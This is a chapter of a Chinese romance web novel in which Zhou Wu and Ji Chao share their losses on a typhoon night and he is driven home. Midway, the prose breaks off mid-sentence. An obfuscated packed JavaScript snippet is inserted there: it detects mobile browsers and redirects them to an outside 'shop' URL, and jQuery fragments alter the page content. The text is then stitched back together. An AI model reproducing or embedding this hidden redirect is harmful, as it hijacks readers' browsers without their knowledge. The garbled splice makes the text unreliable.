很久以后，周雾还能清晰地记起那个晚上。


    狂风暴雨的深夜，路边一丛可怜兮兮的白色小花，刚开到最后一茬。


    她收拾好心情，左手拿着收拢的伞，右手垂在腿侧，轻微地伸展指节。


    纪潮拉下灰白色的卷帘门，余光瞥到她的小动作，神色微有异样。


    他背上双肩包，手指提着红色塑料袋，里面装着剩下的水果，周雾递出疑惑，纪潮解释：“明天不开门——你收到学校通知没有，台风停课了。”


    周雾说没有。


    她没有加入有关十一班的任何群聊，不过，等她再看手机，钟灵慧给她转发了班主任发在群里的停课信息。


    反倒是平时看起来最为亲近的蒋卉卉，头像静悄悄。


    “程伯马上到，我送你。”


    纪潮看了眼大雨，简直是漏了天的架势：“不用，我家离得很近，走几步就到。”


    周雾坚持：“我送你。”


    他皱一下眉尖，唇角半挑不挑地扯出一个笑。


    纪潮很少做这样的表情，莫名有种痞坏的少年气……或者说，生命力。


    争执和委婉推拒都没必要，他偏过头，凛冽风声漏进一两星的笑声。


    周雾眯起眼：“你笑什么？”


    “没。”纪潮忍得侧颈青筋明显，眼尾却不易察觉地弯了起来：“你的手给我。”


    沉默两三秒，周雾竟然没问为什么。


    她递出手，原先手背在上，指节修长纤细，甲盖润着健康的薄粉。


    纪潮把水果放到店门口一张歪歪斜斜支起的三角凳，捏上她指尖的动作极尽克制，将她的手翻过来。


    她皮肤白，夜里也有宛如明珠的璀璨，但是白璧有瑕，几道交错伤口，黏连淡红色的血线。


    “受伤了怎么不说？”


    是在浮着各种腐坏物质的水泥地里按了一下，不知道擦到了什么。周雾神色不变，只说：“不疼。”


    他看她一眼，眸光沉沉，像指责和不悦。


    “又不是说不疼，伤口就能自动消失。”


    变戏法从裤袋里摸出两枚创口贴，撕开了对准伤口，缓慢地展开两侧敷料。


    两枚都贴上了，并驾齐驱的感觉，像一个等号。


    周雾觉得新奇，扬着手，翻覆地看，大概是平生没见过这么……花里胡哨的创口贴。


    小猪佩奇的款式，猪鼻子是深艳的粉色，刚好黏过她的掌心边缘。


    “谢谢。”她坦然接受，垂下手，看他把废料捏作一团，再度塞回口袋。


    雨是斜进来的，水泥地洇开深色，墙顶那盏修好又跳闸的电灯熄着钨丝，只有眼前一盏路灯，凄黄色的光带模糊地铺洒，泥水里没有月光。


    她仿佛不知道冷，姿态不局促也不紧缩，双肩轻盈舒展，冷风一道一道呼面而来，纪潮盯着她指节透着冻出来的绯红。


    行动先于理智，伸手扶住她的肩，让她往后站，自己挡在冷风口。


    好半天，她茫然地看他短袖下肌肉紧实流畅的小臂，忽然问：“你不冷么？”


    他无声地呼了口气：“比你好些。”


    她眨眨眼。


    很少有吧，站在一个人身后的时刻。


    她总是出现在有关盛大鲜花和举目繁华中，身后簇拥许多面目模糊的人。


    趋利避害，为着的不是她周雾这个人，而是她的姓，她的母亲及奶奶爷爷。


    社交圈需要经营，但任何需要经营的关系都掺杂利益，真心永远稀少。


    只有少数几个可以深交的朋友，却也没到可以推心置腹的阶段。


    ——她和庄澄从小一起长大，到头来，彼此瞒着的秘密最多。


    她来凛城没告诉他，他回国也不告诉她。


    根本没有较劲赌气的意思，但就是这样了。


    周雾一直没应声，纪潮侧着头回过一眼，她那双眼睛氤氤氲氲，情绪万千。


    “……怎么？”


    周雾手指勾在半空，点了点他系在脖颈上的红绳：“你这块玉，成色很好。”


    这话很怪，没法接。


    一块玉而已，放在民生萧条的凛城，再贵又能贵到哪里去。


    他用指端挑出来，搁在掌心里掂了下，说：“是么？我看不出。这是我妈给我求的，挺多年前的事情了，有一回打球摔到了半月板，医生唬得挺严重，我妈在我养病期间去了趟普华寺，花了不少钱求了这块玉，说是保平安。”


    周雾微微抿起唇角：“我小时候，有一次烧得快昏迷了，隐约听见我妈和我爸吵架。”


    “吵什么？”


    周雾脸上没有笑，没有难过，没有生气，没有任何一种可以形容出的表情：“觉得我……不够好，不够完美。他们商量再要一个孩子，但是我妈不肯亲自孕育。她很忙，和我爸吵完，当夜飞去邻国，她要以一个基本不可能的价格，去谈航道的使用权。”


    纪潮嗓音沙哑：“那你爸爸呢？”


    周雾想了想，实在太久远，记忆褪色模糊：“好像有一个画展，不确定。他也挺忙，那几年我频繁地在各种小道新闻的边角料看见他的近况，他挺喜欢美院的学生，其中有一个，正儿八经把他当人生恩师看待，两人分道扬镳多年，直到现在，我还能收到对方送来的祝福贺卡。”


    纪潮心想那是贺卡吗那怕不是挑衅，但他久久地望着她眼睛，仿佛是水做的，泛着粼粼的光，今夜的月在她眼底。


    “你挺不容易。”他这样说。


    周雾短短几分钟内接连两次感到新奇，她兀自咂摸了他这句话的口气，不由得浅浅失笑：“从没有人对我说过这种话……”


    她顿住笑，轻声：“曾经有个人，也说过类似的话。”


    无论是姜蝶，还是纪潮，对他们而言，她已经算得上这辈子能接触到的天花板。


    然而，他们依旧愿意分出一点善心，来说一句，你也不容易。


    眼周酸涩难忍，她低下头，指节轻轻地揩去，但没有泪，是打在她面上的冷雨。


    纪潮几次欲言又止。


    喉咙像被一块烧得正好的硬块堵住了，他仰起面，深深地、艰难地咽下所有苍白贫瘠的安慰话语。


    他手指捏着红绳绕了一圈，从领口拎出。


    如果不看此时通红耳朵，他脸上的冷漠确实天衣无缝。


    “我一直在想，如果玉真的能够保平安，我多希望我能亲手给我妈戴上。我曾经想过当掉，不是因为钱……就是，我不太能接受。”


    他低下头，喃喃：“她留下来的东西不多了。”


    说到最后一句，声音几不可闻，微微哽咽。


    周雾在这时候握住他的手腕。


    她的手很凉，指尖温度趋近于冷。很虚地握，没用力，他稍一抽手就能挣脱。


    但他没动。


    她牵着他，认真地，一字一句。


    “你说，她留下来的东西不多，”周雾手指在他微微突起的腕骨摩挲两下，她没察觉自己无意识的小动作，声音柔软温和：“而你，也是其中之一。”


    后来讲到动心，讲到初恋，纪潮总想起这一晚。


    那双眼睛，虔诚又安静。


    她应该对众生都漠然，偏偏，他就站在了她看进来的这一眼里。


    “很痛苦吧。”周雾碰上他的目光，短促地笑了下：“要当被留下的那个人。”


    雨下大了吗？还是他的心跳已经喧嚣到无法隐藏的地步。


    车灯穿过雨线，尘埃四下，她眼里有雾一样的情绪：“我也是。”


    他感觉自己


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16965771|193367||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    每个字音痉挛般绞紧：“……也是什么？”


    “我和你一样。”


    周雾在他交织意外、错愕和更多复杂难言情绪的目光，平静道：“也是被留下来的。不过，我不是遗物。对她来说，我更像是一段符号，或者一个称谓。我们……多数时候很远，真正在一起，只有极偶尔的时刻。”


    “周雾。”他打断她，不知为何，眉心极紧。


    为了什么呢？


    周雾不解，谈论过去，她没有资格歇斯底里，但他注视着她，好像面对一个受伤了却不会哭闹的小孩子，有种束手无策的无奈。


    他往前一步，两人本就只有半肩宽的距离无限收紧，一豆灯火映出的修长影子和她脚下的重叠。


    她听见自己名字，带着某种孤注一掷的坚决。


    “不管你过去发生什么，往事不可回首，朝前看吧。”


    他松开怀抱，那瞬间肌肤相触带来的颤栗仿佛在灵魂里生根，连呼吸都在颤栗。


    廉价浓郁的橙花不再明显，他再一次清晰地嗅到她身上的香水味，依然昂贵和洁净。那是一种充斥着光鲜亮丽纸醉金迷的生活，离他千山万水的遥远。


    但是，人生里，一定有这么一个瞬间。


    最先想起来的不是构建那晚的记忆，而是某段香气。


    她骨架轻，脊背单薄，轻飘飘似一片纸。


    彼此贴近时呼吸也骤停，他扣着她后脑，手掌用力地下压，她鼻尖撞上他胸膛，比痛感更先到来的，是这件短袖T恤的触感。


    原来很柔软。


    周雾怔怔地，原本想回应的手、贴着可笑幼稚小猪佩奇创口贴的手，慢慢地垂下来。


    一束车灯笔直地穿透凛冽雨雾，精悍车身让雨水洗得发亮，夜色里，仿佛镀金镶钻，流光溢彩。


    程伯把车开得缓慢，避免轮胎溅起扇形污水。


    他下车时撑起一把伞，伞柄是橡木质地，晦涩雨夜里也有油亮的光。


    周雾和纪潮并肩站着，面色如常。


    她把凉茶交到程伯手里，程伯眼中意外一闪而过，旋即对纪潮笑道：“多谢。”


    他一时哑然，耳根余热未退，干巴巴道：“不用，她给过钱了。”


    周雾听见了，说了声没有。


    程伯笑意连成眼尾皱纹。


    车厢里的暖气烘得正好，纪潮贴门放着书包和水果，十指让热风熨得妥帖。


    周雾的手机摔到裂屏，幸亏质量过硬，不影响使用。


    她挑了几条讯息回复，头也不抬地对程伯道：“程伯知道路吗？”


    纪潮立刻出声，但慢了一步，程伯已经掉转车头，驶入单行道。


    这个晚上实在动荡不安，纪潮一时之间分不出神细想，他为什么知道正确的路。


    街景让雨水浇得斑驳，车窗一片混天沌地的朦胧，唯有道路两侧零星灯光，仿佛翻涌汪洋的一盏灯火。


    “这就是罗马街？”


    后座宽敞，两人不近不远，她说话时却有气音淡淡地拂过来。


    “你怎么知道？”


    周雾看他两秒，忽地微微一笑：“你说过的，忘记了？”


    也许确有此事。纪潮点头：“嗯……程伯伯，您把我放在前面路口就好。”


    程伯慢慢停稳，前灯跳了两下，双闪在漆黑夜里像野兽跳动的猩红眼睛。


    他坐过周雾的车，知道怎么开门，手指刚放上去，另外搭在座垫的手指被她轻轻覆了下。


    周雾没让他回头，掌心压着车窗，抹开一小块清明。


    “你住这里？”


    纪潮浑身不自在，闷闷嗯了声。


    周雾眼中揉开非常淡的笑意：“你往那边看——对，就是这个方向，看见没？我住这里。你一抬头，就能看到。”